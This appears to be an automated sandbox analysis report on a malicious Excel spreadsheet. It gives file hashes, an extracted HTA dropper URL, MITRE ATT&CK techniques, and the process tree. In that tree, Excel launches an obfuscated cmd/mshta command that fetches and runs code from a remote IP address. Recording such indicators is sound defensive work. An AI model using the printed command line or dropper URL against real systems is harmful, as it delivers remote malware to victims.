99d08690066d983a9f25398dc935971a0a0fe83cca2cac47e24dd51e006ef55e

General

Target

99d08690066d983a9f25398dc935971a0a0fe83cca2cac47e24dd51e006ef55e.xls
Size

36KB
MD5

2f15f9e3e747a2bcb6fb25f40a35b4c3
SHA1

501ba5824ea7612f8c40836b83c16696052d0026
SHA256

99d08690066d983a9f25398dc935971a0a0fe83cca2cac47e24dd51e006ef55e
SHA512

5216cc823e49fb9aa75f16e687e13e87951d9583ace018945f716c1c2b82cf837c584f00bd3eb49572912ca7b2c8ae3047a1e3201e442e4fd7acc9fddb8873b3

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3488	2276	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

44 2284 mshta.exe

flow	pid	process
44	2284	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2276 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE
2276	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	process	target process
PID 2276 wrote to memory of 3488	2276	EXCEL.EXE	CMD.EXE
PID 2276 wrote to memory of 3488	2276	EXCEL.EXE	CMD.EXE
PID 3488 wrote to memory of 2284	3488	CMD.EXE	mshta.exe
PID 3488 wrote to memory of 2284	3488	CMD.EXE	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\99d08690066d983a9f25398dc935971a0a0fe83cca2cac47e24dd51e006ef55e.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2276

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3488

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
PID:2284

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2276-115-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download
memory/2276-116-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download
memory/2276-117-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download
memory/2276-118-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download
memory/2276-121-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download
memory/2276-128-0x00007FF86CD00000-0x00007FF86CD10000-memory.dmp

Filesize
64KB

Download
memory/2276-129-0x00007FF86CD00000-0x00007FF86CD10000-memory.dmp

Filesize
64KB

Download
memory/2276-297-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download
memory/2276-298-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download
memory/2276-299-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download
memory/2276-300-0x00007FF86FB00000-0x00007FF86FB10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads